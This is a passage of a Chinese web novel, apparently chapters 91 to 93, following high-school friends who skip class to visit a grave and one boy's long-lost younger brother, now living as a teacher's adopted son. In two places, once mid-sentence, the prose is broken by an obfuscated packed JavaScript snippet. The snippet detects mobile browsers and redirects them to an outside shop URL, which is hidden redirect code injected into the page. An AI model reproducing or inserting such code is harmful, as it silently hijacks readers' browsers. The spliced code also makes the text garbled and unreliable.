他会忘记六岁之前的一幕幕,会忘记家在哪里,但弟弟不会,他弟弟会记得的,如果不是不在了,他相信弟弟一定会找回来的。 陈恕深深地看了一眼墓碑上母亲的名字,随后他转身走向他的朋友,“我们回去吧。我想说的都说完了。” 张期期笑着眨了眨眼睛,“唔……还没有吧?” 陈恕抬眸:? “阿姨肯定还不认识我们吧?陈恕,我们可以过去看看阿姨吗?来都来了,不去见见长辈是不是有点不礼貌啊?” 许兰亭、林听、周嘉先也看着他,等着他开口。 陈恕募地笑了,“好,我带你们过去,只要……你们不介意就行。” 张期期、许兰亭、林听、周嘉先都一脸无语,张期期嘟囔道:“介意什么啊……” 她站在墓碑上,方秀……方秀就是陈恕妈妈的名字啊,张期期正色道,“阿姨,你好,我叫张期期,是陈恕的……嗯……” 她一停顿,许兰亭、周嘉先瞪大双眼,不是吧?不是吧?你要在人家妈妈墓碑前宣誓主权,说自己是陈恕喜欢的人吗?啊!!这可是早恋啊!你是想让陈恕的妈妈掀起棺材板教育你们一顿吗? “暂时先算朋友吧……以后就不一定只是朋友了,总之,以后我们会好好照顾他的,你放心吧。” 陈恕忍俊不禁地看着神情认真的少女,其实他刚刚就和妈妈说过了,期期……是他喜欢的女孩子。 见张期期到底还算有分寸,周嘉先松了一口气,“阿姨你好,我是周嘉先,是陈恕的朋友,以后我们会照顾好陈恕的,你放心吧。” “阿姨,您好,我叫林听。以后我们大家会一起照顾好陈恕的,我们是朋友,您放心吧。” “诶!还有我,还有我!阿姨,我叫许兰亭!以后陈恕就是我的家人了,我一定会照顾好我的哥们的,你就放一百二十个心!包在我身上!” 张期期怒目而视,“怎么陈恕就变成你的家人了?难道……”她说着说着,不知道想到什么,脸渐渐红了起来,“难道不是我的家人吗?” “嘿~你没听过一句话吗?”许兰亭脸色得意。 张期期、林听狐疑地望向他,张期期嗡声道:“什么话?” “这句话当然就是——朋友是自己选中的家人啊!”许兰亭笑声爽朗,“我们是朋友,所以我们也是家人啊——” “是不是啊?陈恕!” 天朗气清,惠风和畅,陈恕望着墓碑上母亲的名字,眼底充满笑意,妈妈,他们是我的朋友,也会是我的家人。他们真的很好很好…… * 走出墓园后,陈恕看了下时间,下午4点48分了。 等等!4点48分,才4点48分,他懵了一下,视线缓缓转移到前方又蹦又跳的张期期他们身上,懵了一下午的脑袋终于清醒过来,之前被无尽情绪影响着的他现在终于意识到一个问题! 他们高三生下午可是五点多,接近六点才放学的啊,他们几个怎么在这里?怎么4点前就跑出来了…… 陈恕突然喊了一声,“等等,你们……” “诶?”张期期回头,目露疑问。 许兰亭、林听看着他,“啊?” “怎么啦?”周嘉先神色自然地问道。 陈恕:…… “……你们是……也跟着我请假了吗?” 寂静、整个就是一片寂静,这群在他妈妈墓碑前说会好好照顾他的人,此刻看天看地看风景……就是不敢看他。 “没请假吗?”陈恕艰难道,“你们出来的时间点应该是上课期间吧?那、你们怎么出来的?” 这个嘛…… 许兰亭面色沉痛地走到陈恕的面前,指了指他自己大腿上的位置。 陈恕顿了顿,仔细辨认了一下,这好像是鞋底的印记吧,“你们……” “没错!我们逃课翻墙跑出的。”许兰亭破罐子破摔,嚷嚷道:“你能不能让张期期减减肥,她踩在我大腿上,超重,而且她鞋子踩了泥就踩在我校裤上,我怎么拍都拍不干净!” “许兰亭,你在胡说什么?那个印记明明是林听踩的。” 林听仿佛被雷劈了一样,“期期,不是我吧?” “那就是先哥!”张期期立刻甩锅。 “原来是先哥啊!”林听果断相信。 周嘉先:…… 陈恕觉得头很疼,他明明是请假的,但是这几个人逃课溜了,鉴于他和他们焦不离孟的,新来的班主任不清楚他的具体情况,看着教室墙角那一片空位置,一定会认为他也是逃课的,甚至还骗了张“请假条”! “你们真是……”他扶额无奈地叹了一声。 许兰亭哈哈大笑着拍了拍陈恕的肩膀,笑着道:“哎呀!没关系的,反正逃都逃了。没有逃过课、翻过墙的学生时代可是会留下遗憾的哦~” 陈恕扯了扯嘴角,“这是哪里来的谬论?” “这可不是谬论,是论坛里大家正儿八经投票选出来的,学生时代最遗憾的十大事件之一呢!”张期期眨眨眼笑着道。 周嘉先:…… “好啦好啦!我们现在去吃饭吗?吃完再回学校?”许兰亭提议道。 陈恕颔首,“走吧。” 一行人在附近的餐馆随便找了一家汤面店吃了顿晚饭。 夕阳西下,天际边漫延着艳色的红霞,随着晚风吹动,艳色的红霞渐渐铺散在整片天幕上,榕树的树冠随着晚风吹响,发出微弱的飒飒声,零散的叶子随风缓缓飘落,打着旋地旋转掉落在地。 最近的公交车站台在前方大约一公里外,张期期踩着地上一片又一片的落叶往前蹦蹦跳跳地走着,她的身后是眼底带笑的陈恕。 许兰亭和林听并排着说着什么,周嘉先望着天边懒懒散散地走着…… 春三月,微风不凉不燥,正是吹着舒服的时候,一行人神情都很放松,他们已经很久没有像现在这样无所事事、慢悠悠地散着步了。 张期期一行人走着走着,旁边的商铺越来越少,逐渐变成了一大片被围起来的地盘,“咦?我记得之前这里好像是一片荒地啊,现在是在修建什么项目吗?在这么偏僻的地方搞项目,真的不会亏吗?哪家企业这么傻叉?” 许兰亭瞄了一眼,嘴角抽搐,“张期期,你就不会抬头看看吗?” 啊? 张期期闻言,愣了一下,抬头一看,这块被临时围起来的地盘内竖立着一个临时工地大门,大门的左边写着“创精品工程”,右边写着“树企业形象”,正中间是“京照市许氏房地产有限公司”。 她眨了眨眼,看着许兰亭,又指了指临时大门正中间的牌匾,“这个许氏……?” “没错,就是我家!”许兰亭面色佯装沉重地点点头,“就是我家傻叉企业。” “哈哈哈哈哈——”张期期笑得直抖,“不好意思啊,我随口说的!” 许兰亭挥了挥手,一点儿也不在意,他道:“这块地是我哥费尽心思谈到的,他要在这里建个小区好像。” “在这里建小区??”张期期震惊!她继续道:“这里很偏僻耶……真的卖得出去吗?” 许兰亭睨她一眼,“你在质疑我哥?” 张期期:“啊这个……好吧……我不配。”她立刻换了个表情,“敬亭哥那么厉害,他的决定肯定没有问题啦!” 许兰亭白了张期期一眼,有理有据地道:“根据我哥的说话是,京照市中心无论是土地还是人口已经很饱和了,城市要发展的话,只能是向外围慢慢扩展,我哥说这边再过个几年,肯定会天翻地覆的。” 周嘉先、陈恕、林听微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪怕再是早熟,此刻的周嘉先也毕竟是一个高中生,玩得好的朋友在这里许下了一辈子一起玩的约定,他怎么可能会不开心呢! “好啊!”周嘉先开心道。 张期期眨了眨,眼底笑意顿生,“陈恕——” “好!” 在无数个摇摆不定的日子里,他克制着自己对她的贪恋艰难地朝着一开始的目标前进时,他是靠着回忆过去的苦痛和绝望,才能硬生生止住走向她的步伐。 他的人生,天平的两端,一端是她和温馨的陪伴,一端是目标和过去的苦痛。 然而,在今日,过去无数个难眠的夜晚,他辗转反侧都无法决定的未来突然被她清晰地描绘在眼前,朋友、喜欢的她都会在他身边,他们约定一起陪伴着度过未来的人生。 陈恕满眼缠眷地望着张期期,她的潜意识里她的未来一直有他的位置。 今天……法庭也已经审判了那两名罪犯,他们即将付出生命的代价,天平那一端,目标和过去的苦痛仿佛长出了耀眼的光芒,让他看到了希望…… 所以,其实……他留在国内学法律同样也可以吧?既能陪在她的身边又能同时坚持自己的理想,这一刻国外好像并不是非去不可了…… 虽然在今年一月的时候他就已经递交了德国慕尼黑大学的留学申请,但……他只要参加高考,同样也可以考取国内顶尖的大学的法律专业。 他不该、不该沉浸在过往的泥泞中,已经有人朝他伸出了手,他应该紧紧握住才对。 妈妈……陈恕望向天幕,妈妈……你会支持我的决定的吧? 披在他身上厚重的、苦痛的胎衣仿佛就此被剥离,他重获新生,满腔的喜悦和被需要的满足感覆盖了过往的疼痛,陈恕眼底带着喜悦,他再次道:“好!我们大家以后就一直一直在一起好了。” “太好啦……”许兰亭双手用力地朝着还未修建的荒地挥着,大声喊道:“我现在非常期待这个小区建起来了……这里以后会是我们大家一起的家了!” 日落西山,晚风轻吹,这群少年少女们齐齐望向彩霞漫天下的这片荒地,他们在这里许下了一辈子的约定,他们是一生的挚友,无论爱情、友情,他们一生要永永远远在一起。 在这个城市里,他们定下了他们相伴的未来,以及未来的家。 …… “所以,德国你不去了吗?陈恕。” “嗯,我不去了。先哥。” …… 92. 第 92 章 - 当晚,高三年级组办公室。 高三任课老师都在各班占着晚自修的时间讲课,因此年级组办公室空荡荡的,只有重点一班的新班主任曾培,以及……翻墙逃课的张期期、许兰亭、林听和周嘉先…… 至于……陈恕…… 曾培扶了扶眼镜,神色无奈,看向这个年级成绩排名第一的学生,“陈恕,请你如实告诉老师,你是真的有事请假呢,还是在配合这几个逃课的同学?” 原本他仅仅是怀疑了一瞬,但到底对方成绩好,又听说是个乖巧、听话的孩子,所以便没有多疑,但好巧不巧,他就是和张期期这几个逃课的一起紧挨着溜进了学校,看那行为,明显就是一伙的。 张期期闻言,立刻道:“老师,逃课的是我们,不关陈恕的事啊,我们就是在校门口遇见一起走进来而已啦……” 许兰亭、林听、周嘉先附和着点点头,“是这样,没错。” 然而,陈恕余光扫了一眼他的朋友们,抿了抿唇,直接道:“对不起老师,我们就是一起的。” 张期期瞪大双眼,惊讶道:“陈恕……你……你干嘛呀!” 而许兰亭“啧”了一声,笑着道:“哎,我们就是一伙的。” 他懂!作为哥们,肯定是不会看着朋友们被罚,自己心安理得地摘清自己的,是他的话,他也会承认自己是和朋友们一起的。 张期期:??? 许兰亭拍了拍张期期的肩膀,一副“你不懂,我都懂”的模样。 曾培伸手拧了拧眉心,没想到才刚当上班主任的第一天,就有学生明目张胆,顶风作案,他敲了敲桌面道:“行,我知道了,你们既然逃课了,那必然要被惩罚,没意见吧?” 一行人微微垂下头,嗡声道:“没意见。” 曾培点了点头,道:“从明天开始,这一周每天早上你们去把操场上的垃圾清理了,同时也不能耽误早读课。可以吗?” 啊?! 张期期、许兰亭、林听、周嘉先、陈恕几人面面相觑,纷纷惊讶地看向曾培,这个惩罚……是不是太轻了一点啊? 曾培见他们露出这样的表情,只觉得又气又好笑,“好了,不要再有下次了,知道吗?” ……他是能理解的,作为省排名第二的重点高中,还是重点高中内的重点班学生,他们对自我的期待本身就比其他学生高,因此有压力很是正常,在高压下他们能做出这种逃课解压的事情来,他反而是更放心了,怕就怕学生什么都不说什么都不做,在压力下无声崩溃。 “知道了……” “好了,回去上晚自习吧,还有下午发的几张试卷要做完来。” …… 走廊上,白炽灯在安静的夜晚下透出冰冷的白光,夜风吹进走廊带着清洌的气息,年级组办公室在走廊拐角的一端,而灯光在拐角处落下一片阴影。 “诶……不好意思……” 从办公室走出来,走在最前端的张期期险些撞上了刚好出现在办公室门口的男生,对方微微垂着头,额前的头发有些长,他所站的位置刚好在灯光照不到的阴影处。 陈恕注意力完全在张期期的身上,他打量着她,皱眉道:“没事吧?” “没事……”张期期看向一旁隐没在黑暗中的男生,“同学……你……”你没事吧? 她的话都未说完,站在阴暗中的男生推开挡路的张期期,声音平淡冷漠,“让一让。”他径直走进年级组办公室,顺手将门给关上了…… 啊?这…… 看着完全关上的门,张期期愣了一下,反应过来后,她也不当回事,将这个稍微好像有些不礼貌的同学抛之脑后,道:“走吧,我们赶紧上课去,不知道下午发的试卷多不多,我今晚能不能全部解决完……” 她如此不放在心上,许兰亭也就将方才就要脱口而出的怒问吞了回去,算了……他亭哥大人不记小人过。 林听:“晚上还要上课,试卷只能课间或者晚自修结束后再写,时间估计不太够,要么就晚上熬夜写了……” 张期期眼眸一转,“其实我们可以一人写一张卷子啊,然后互相抄一抄,很快就能完成了。” 陈恕:…… 他扯了扯嘴角,“期期,这样的话,还不如不写,抄有什么意思?” 一行人说说笑笑地往教室走去,张期期突然脚步一滞,蓦然想起了方才年级组办公室门口那个隐没在黑暗中的男生的脸部轮廓。 她学过人像速描,所以对人体骨骼和线条比较敏感,这会儿……她突然觉得那个男生的脸部轮廓、山根、眉弓的起伏都有些眼熟。 与此同时,陈恕微微皱眉,看向张期期,低声问道:“怎么了?” 张期期愣愣地看着陈恕,打量着对方的面容,她知道为什么会觉得眼熟了,那个男生的脸部骨骼和眼前的陈恕非常像…… “怎么了?期期。”陈恕再次问道,随后他低头看了看自己,好像没什么不对吧……可是她为什么这么看着他呢? 张期期脑海中闪过一个猜测,但又觉得不大可能,她摇了摇头,将那个猜测抛在脑后,她随口敷衍道,“啊?没事!我就是想到……想到我还没洗澡。” 陈恕顿了顿,是……学校的热水供应是到晚上九点半,可是高三晚自修结束都是晚上10点40分了。他道:“别担心,下课的时候可以先去接水,拿脸盆盖在水桶上,应该就不会那么快凉了,而且你今晚不用洗头。” 张期期啊了一声,真是诧异了,“你怎么知道我今晚不洗头?” 陈恕无奈地笑了,“你都是三天洗一次头的,昨天才刚洗……所以……嗯。” 张期期眨了眨眼,拉长声音道:“呀——陈恕你观察我很仔细嘛~” …… 另一边,高三年级办公室的门刚被关上…… 曾培闻声下意识地抬眸望过去,见是儿子曾逸飞,他顿时笑了,随后将手中的红色水笔放下,“怎么不在宿舍里休息跑到这里来了?你妈妈呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718393|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他说的宿舍是学校给他们一家安排的套房,就在教师宿舍那一片。虽然他们家在京照市也有房子,但毕竟离一中太远了,平时他们上班上学不太方便,也就选择住在了学校安排的套房。 曾逸飞找了张凳子坐下,脸上带着温和的笑意,与方才在办公室门口冷漠的样子截然相反,他笑着道:“妈妈在和隔壁宿舍的王老师聊天,我反正没事就过来看看您。” 曾培笑着摸了摸他的发顶,“我就在办公室坐着,有什么好看的……” 曾逸飞嘿嘿嘿地笑着,没有回答这个问题,片刻后,他轻描淡写地问了一句,“爸,刚才出去的是你的学生吗?” “对,是我们班的学生。” “他们有什么事吗?”曾逸飞问。 “也没什么事,就是几个小孩偷偷跑出去玩了而已。”曾培笑了笑,“他们还是很优秀的。” “哦。”曾逸飞点点头,“爸,你拿几张你们班的试卷给我做做呗,不然我在这也很无聊。” “也行。” 曾培随手拿了一张昨天当堂考试的语文试卷递给了儿子曾逸飞。 这次因为他被聘请到京照一中来带高三重点一班,他儿子也跟着过来作为教师子女进一中读书,其实就算不是教师子女,以他儿子的成绩要进一中也是完全没有问题的。 他儿子现在虽然是高一生,但是高中的知识其实他已经掌握得差不多了。 曾逸飞伸手接过,试卷上名字那一栏写着“陈恕”。 陈恕!陈恕! 他指尖紧紧地攥着试卷的一角,这个名字深深地刻在他的脑海中,年幼时清晰的记忆在脑海中走马灯花一样一帧帧地放映着。 公园的长椅上,他和哥哥陈恕紧挨着坐在一起,妈妈递给了他们一人一根牛奶味的冰淇淋,他虽然年幼,但却很快将雪糕一口一口囫囵吞枣地咬完了,而他哥哥陈恕则是一小口一小口地等嘴里的融化了,再吃下一口。 吃完雪糕后的他眼巴巴地望着身旁的哥哥,而他哥哥在他盯着他看了一会儿后,犹豫又不舍地道:「小最,你还要吃冰淇淋吗?哥哥的冰淇淋可以给你吃。」 「我要!给我吃!」 最后他一个人几乎吃掉了两根冰淇淋,他哥哥陈恕只吃了几小口而已。 记忆中温柔清丽的女人不赞同地看着他,“小最下次不能这样了,哥哥都没吃多少。” “妈妈,我自己想给弟弟吃的。妈妈,给弟弟吃吧,我是哥哥。” …… “逸飞?逸飞!” 曾逸飞马上回过神来,笑着道:“怎么了,爸爸。” 曾培狐疑地看了他几眼,又看了看他指尖攥着的试卷,道:“小心点,别把人家的试卷弄皱了。” “哦?哦。好。我刚没注意到,我会小心的。”曾逸飞小心地将试卷放在桌面上,再将被攥皱的试卷一角用力抹平。 若是……陈恕的名字能像试卷上的褶皱一样从他的世界里就此抹去的话,那就太好了…… 93. 第 93 章 - 这是曾逸飞阔别京照市十几年后第二次回到这座城市,以另外一个名字、另外一个身份回到这座城市。 一个月前,他的养父曾培接到了他的好友、京照一中校长的电话,对方邀请他的养父曾培来京照一中带高三重点一班的学生。 高三重点一班的班主任因为身体原因不能够接着带这些学生直到参加高考,而又因为重点一班是该校重点培养的学生,家长也对他们寄予厚望,所以他们不能接受临在高考前居然换班主任。 所以一中校长才想到了挖他的养父过来京照一中堵住那些家长的嘴,毕竟他的养父曾培也算在高三届有点名气,他带出了好几个重本率百分之80的班级。 而他养父的父母年纪大了,老两口在京照市生活着,养父考虑了一阵子最终决定回到京照市,毕竟老人家年纪大了,即便再怎么不喜欢儿女打扰他们,也不能真的身边没有人照顾。 对于回到京照市这个决定,曾逸飞并没有什么抗拒,因为一年多前,也就是他刚刚初中毕业的时候,他曾以初中班级毕业和朋友一起旅游的借口偷偷来到过京照市,那是他第一次回到京照市。 他在京照市呆了两天,暗地里偷偷打听了上瑶村陈家陈岩十几年前的事,他发现那件事早就随着时间泯灭在大部分人们的记忆中,甚至还记得的人口中说出来的话也基本上全是谣言。 而他的亲生父亲陈岩早就娶了新的妻子,甚至还生下了一个孩子陈家宝…… 陈家宝……曾逸飞心中冷笑一声,他曾远远地看过那个肥胖的男生,对方的年纪和生日他也打听到了,按照时间上来说,陈岩早就在那件事发生之前就出轨了,不然怎么解释,他的父亲在娶了新妻子之后,不到八个月就生下了陈家宝…… 母亲早就不在了,他很小的时候就知道了,即便当时的他没有意识到,但是他患有超忆症,在稍微成长了一些之后,他不理解的记忆也慢慢懂了…… 当时,他第一次来到京照市时,早就没有他哥哥陈恕的消息,不……应该说他们两兄弟已经被上瑶村的人默认了失踪,或者是陪着他亲生母亲跟人跑了。 但他没想到……来京照一中的第一天,他就在人来人往的校门口认出了他的亲哥哥陈恕…… - 曾逸飞看着试卷上笔锋尖锐的字体,陷入了沉思。 很快,下课铃声就响了起来,曾培看了他一眼,笑着道:“逸飞,下节是我的课,你继续在这里还是先回宿舍去?” 曾逸飞闻言,笑着道:“我在这里再呆一会儿吧,晚点我自己回去就行。” “也好。”曾培将陈恕的试卷抽过来,叠好放在一沓试卷上,又道:“实在无聊的话,可以玩玩爸爸的笔记本电脑,但是不要太大声。” “好的,谢谢爸爸。” 曾培拿上一沓试卷起身走出去,见他的身影消失在视线里,曾逸飞抿了抿唇,打开了笔记本电脑,他登陆上一中的贴吧,在搜索栏里尝试着打上“陈恕”二字后,点击搜索,一瞬间页面跳出来满满一整页的帖子。 他吓了一跳,余光下意识在办公室里扫了一遍,没有人进来…… 他抿着唇,指尖有些颤抖地点进其中一个帖子,正是最上面用黄底红字标出来的“hot”,是一中校草选举的帖子。 因为该选举已经结束,所以他一点进去,陈恕的照片就在最顶端的位置。照片上的少年眉眼清俊,神色淡然,他的五官依稀有着年幼时的模样,陈恕……他的哥哥。 他指尖按在鼠标的滑轮上从上往下掠过,无数的信息在他的眼前掠过又迅速浮现在他的脑海里,从这些信息中,他知道了陈恕是上一学年,高二那一年的才转入京照一中的,再往前关于他的信息却没有任何人知晓了…… 曾逸飞将电脑上登陆过贴吧的信息删除掉之后,手撑着下巴,微垂着眼细细思索着……去年入学京照一中,去年……去年他刚好初中毕业,也曾来过京照市打听过消息,当时很明显上瑶村根本没有陈恕的消息,所以……最大的可能是他离开京照市之后,陈恕才回来的,他们岔开了时间。 他边想着边将电脑关上,起身准备回教师宿舍,就是……不知道他的哥哥陈恕还到底记得多少,以及他是自己回来的,还是警方找回来的? 不过,陈岩早就有新的家庭了,他哥哥能融入得进去吗? 校园里,月光落在地面上洒下一地的银辉,曾逸飞从树影下走出来踩入银辉之中,他的人生就像此刻一样,从暗无天日的阴暗中走入了皎洁的月辉下。 养祖父祖母退休前是大学里的教授,养父母都是重点学校的老师,一家人温和良善,这么多年,他们是真的把他亲生的儿子对待,不惜人力物力钱力和资源地培养他,生活上他所用的都是他们能给出的最好的,他是他们唯一的孩子,这样的生活远远比当年在陈岩家还要舒适和幸福,不是吗? 曾经明明他才是最小的孩子,但他亲生母亲却偏爱他的哥哥,就因为他的哥哥年幼时身体比较弱,所以母亲一大半的精力都在哥哥身上,现在他没有这样的困扰了,养父母家只有他一个…… 他看着眼前的教师宿舍,嘴角微微抿紧,既然那些事情已经在岁月中被掩埋了,那就不要再翻起来了吧…… 如今的生活是幼年的他千方百计争取来的,为此他生生挨了好多顿打。 因为超忆症,他记得家的住址,也记得父母的名字、电话,所以每每被卖给别人时,他总能在对方面前完整地复述出亲生父母的信息,因此人贩子根本无法将他卖出去,毕竟谁也不想养记得亲生父母的孩子。 就这样他一直在人贩子手中辗转,到他再大一点的时候,他从人贩子手中逃了出来,又恰好被福利院的院长接收了,在福利院呆没一周,正好遇上了来领养孩子的曾家父母。 他比任何孩子都要早慧,也已经明白了自己的亲生母亲已经身亡,俗话说“有了后爸必有后妈”,更何况他和亲生父亲之间并没有那么亲近,所以在遇上看起来家庭条件很好,夫妻俩都是温和善良的读书人时,他凭借着乖巧和聪明从一众被挑选的小孩中脱颖而出。 …… 门铃一响,套房的大门打开了,眉眼温和的中年妇女笑着道:“小飞?这么快就回来了啊?” “嗯。爸上课去了,我呆了一会儿就回来了。”曾逸飞笑了笑,又道:“妈,我有点饿了……想吃面条。” “想吃面条?好好好,妈妈去煮,你先看会电视吧,一会儿就好了。” “好,谢谢妈妈。” 没一会儿,香气馥郁的面汤就被放在了餐桌上,金黄的面条上洒着翠绿色的葱花,再加上黄白相间的荷包蛋,红色的番茄,几块大块的牛肉,看起来就让人食欲满满。 曾逸飞比了个大拇指,笑着道:“看起来就很好吃,谢谢妈……” “快吃吧,一顿面条而已,想吃妈妈就做。” 曾逸飞笑了笑,也不多说,埋头就开始吃起来,窗外树影摇曳,鼻尖是食物的香气,他往客厅望去,养母低着头正用红笔批改试卷,家里一副安宁平和的样子,这正是这些年他的生活,他不允许他自己千辛万苦得来的平静生活就此被打破……绝对不允许! * 铃声响起,晚自修结束,任课老师布置了作业之后离开教室,学生们趴下的趴下,唉声叹气的唉声叹气,他们低迷了一会儿之后,又坚强地挺起了背脊继续学习、刷题。 张期期微微眯着眼,2b铅笔在a4纸上快速地摩擦着,没一会儿纸张上便出现一张面部轮廓图。 林听拿着一张试卷转过身来,“期期……帮我看看这道题……”她看着张期期桌面上的画像,笑着道,“哎?期期,这是陈恕吧。” 张期期眼眸一转,“你也觉得是陈恕?” 林听诧异地看了她一眼,压低声音道:“难道不是吗?”她再次认真地看了看,还是肯定道:“虽然期期你还没完全画完,但这个脸部轮廓真的很像陈恕耶……” 张期期笑了笑,“你说是,那就是吧。” 林听:?? “啊,你要问哪道题目啊?”张期期转移话题道。 林听闻言,立刻将刚才的画像抛之脑后,毕竟期期给陈恕画画那都是她已经见惯的事情了…… “就是这一道,你帮我看看,为什么我算出来的答案总是不对?” “啊,好,我看看……” …… 正在刷题的陈恕余光瞥了一眼低头给林听讲题目的张期期,他嘴角微微扬起温柔的弧度,刚才她们的谈话他都听到了。 想到画像……陈恕不可避免地想起她第一次送给他的那张画,少年眼底闪烁着细碎的光芒,眼里尽是满足。 人生选择的天平上,他决定坚定地站在期期的身边时,内心感受到的是真切的平和。 教室墙上挂着的时钟滴答滴答地走着,翻阅试卷的声音此起彼伏,十一点半了,教室内的同学们陆陆续续起身带着一些复习资料离开了教室。 陈恕将黑色水笔放下,起身走过去敲了敲张期期的桌面,微笑道:“要回宿舍吗?” 他说话的同时,目光正好看着她桌面上越来越完善的人像素描,嗯……他微微愣了下,眉心蹙起,这张画说像他吧,却有点不太像,但说不是他吧,眉眼和脸部轮廓都很像他。 想了想,陈恕眼底划过了然,大概是她太久没去上美术培训课,所以技术生疏了…… 张期期闻声,刷地一下将桌面上的画像放进了桌柜里,然后起身拉着他的袖口,“回回回!现在就回!” 陈恕被她这一连串的动作,目光露出一丝不解,“期期,你不带一些学习资料去宿舍看吗?” 张期期恍然大悟,“哦,对!要的要的,你等我一下,我现在就拿张试卷回去刷。” “嗯。” …… 张期期拿了张物理试卷之后,和陈恕并肩走出了教室,前方许兰亭和周嘉先不知道在说着什么,林听在一旁露出了无奈的神情…… 高三教学楼安安静静,整栋楼的灯光陆续被关掉,楼梯里只剩下他们几人说说笑笑的声音。 张期期垂在身侧的指尖微微动了动,片刻后,她伸手攥住了身旁陈恕的手腕,陈恕顿了顿,腕骨微转,反手握住了张期期的手心。 少年抿了抿唇,紧紧握住了身旁少女温暖的手掌心,月色洒下来,透过打开的窗户,而他身处昏暗的教学楼,此情此景像极了幼年时期躲在昏暗的柜子里,夹缝透出外界的光亮。 所以……他知道,她在担心他! 陈恕侧首,嘴角露出一丝不易察觉的笑意,他轻声道:“我没事……”因为期期你在啊…… 一行人走出教学楼,校道上暖黄色的大路灯一盏又一盏,光芒倾泄而下,少年少女们的身影被无限地拉长。 路灯在他们的身后,投射出的影子出现在一行人的面前,许兰亭正和周嘉先说着话,说着说着,他发现他脚下有两个牵着手的影子。 许兰亭:??!! 他猛然回过头,是张期期和陈恕手牵着手,他瞪大了双眼,这也太明目张胆了吧,在学校里就如此光明正大地手拉着手? 张期期对上他的目光,一向热情大胆的她到底也扛不住朋友调侃的目光,她指尖缩了缩,正打算收回手,然而陈恕却在此时紧紧地攥紧了她的手心。 “陈恕?”张期期侧首看向他。 陈恕低头,嘴角笑了笑,“嗯。”声音充满了愉悦和坚定。 许兰亭:…… 他立刻跑下周嘉先,走到林听的身边试探着握住了她的双手,待牵到手之后,他硬着头皮忽视林听疑惑的目光,嘴角带着笑往前走。 说到一半的周嘉先:…… 他看着脚下两对牵着手的影子,混蛋!全都是混蛋!一点儿都不考虑他的心情! …… 女生宿舍。 张期期刷完了试卷之后,躺在单人床上,她将晚自修上课时偷偷画的画像双手举在眼前,皱起眉头琢磨了一阵,突然指尖松开,任由画纸飘落,盖在她的脸上。 台灯昏黄的灯光挤在窗帘拉紧的密闭空间里,张期期眨了眨眼,心里有了一个猜测。 ……会不会昨天晚上在年级办公室门口遇见的那个男生是陈恕的弟弟呢?有没有这个可能呢? 嗯……张期期将画像从脸上拿开,望着泛黄的床顶,关于陈恕弟弟的信息她倒是知晓一些,毕竟当时在黑木镇的时候他们一起在街头巷尾张贴寻人启事。 直到现在陈恕依旧在各大寻人网站或者报社刊登关于他弟弟的寻启事,学校、国家都是有助学金,而陈恕之所以在还未住校之前见缝插针地找时间兼职赚钱,就是为了支付这笔额外的支出,保证他弟弟的寻人启事一直能在网站的首页出现。 想了许久,张期期最终决定明天在高一年级各班找一找昨天晚上的那个男生,为什么是高一年级呢?因为按照陈恕的弟弟陈最的年龄,他今年应该是上高一才对。 此外,若对方是高二生的话,那去年她高二的时候,对方高一,像她这么关注陈恕的人不可能不知道学校里有这么一个像他的男生,又不是像现在,成为高三狗的她,真的没有时间去关注学校里其他年级的事情了…… * 翌日,上午大课间。 校园内播放广播跑操的音乐从操场处隐隐约约地传过来,张期期握着黑色水笔,笔尖停留在纸面上,默默失神。 算了……还是先不要告诉陈恕好了,免得他空欢喜一场,还是她先去试探着看一看好了…… 一早上张期期的频繁失神,陈恕早就察觉了,此刻见她神游天外的模样,他忍不住侧首小声问道,“期期……你怎么了?” “啊……”张期期恍然回神,顿了下笑着摇摇头,“我没事,发个呆而已。” 陈恕抿了抿唇,盯着她看了半响,目光沉沉地嗯了一声,她不说,他真猜不出她在想什么…… 张期期估摸着时间,觉得高一高二年级的学生应该跑完操了,便悄悄地站起身从后门出去了。 陈恕看着对方的背影消失在视线里,他望向右前方的林听,林听还在这…… 他想起一直手挽着手一起上厕所的林听和张期期,看来期期不是去上厕所,那她到底有什么事?便是这件他不知道的事让她一早上频繁失神吗? …… 陈恕此时的猜测,张期期一概不知,她现在正站在高一教学楼的正门口,靠着墙面看着不远处一大波高一学生跑完操气喘吁吁地走过来。 这一刻她倒是明白了为什么高年级的学长学姐喜欢围观低年级的学弟学妹们军训和跑操了,她脸上带上了笑容,因为实在是太 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视野里,满脸通红的女孩子终于被朋友们推到了男生的身前,女生支支吾吾地拿着手机低声说着什么,男生微微笑了笑,也拿出了手机,双方添加了联系方式。 在众人的起哄中,男生笑着呵斥了他们,女生则挽着朋友们的手臂红着脸跑开了。 啊……张期期笑眼盈盈,真美好,只是下一刻她突然想起来,最开始的时候陈恕对着她的那一张冷脸就撇了撇嘴,好嘛,他们长得这么像,行事作风却完全相反! 周围人终于散去了,张期期连忙收回乱飘的思绪,忙不迭地跑到了那名男生的身前,男生的朋友对着张期期眨了眨眼睛,笑着道:“哎呀,这位女同学你不会也是找我们逸飞要联系方式的吧?” 逸飞?他叫逸飞?不叫陈最? 张期期连忙摆手,“不是不是!我找这位同学是有其他的事情。”她看向名唤逸飞的男生,唔……距离近了,看着越像陈恕呢…… “你好,这位同学,方便过去那边吗?我有点事情想和你说一说。”张期期指了指不远处的湖边。 曾逸飞看着眼前的女生,他一眼便认出这是昨天晚上他在办公室门口撞见的人,当时因为乍一眼那么近的看见他的哥哥陈恕,他一下子慌了神,内心紧张的他脸上表现出十足的冷漠,催促她让开别挡路。 他找她会是什么事呢? 曾逸飞扯了扯嘴角,他完全不想和他哥哥有关的人、事、物扯上一点关系,“不好意思,我不认识你,应该也没什么事情好说吧!” 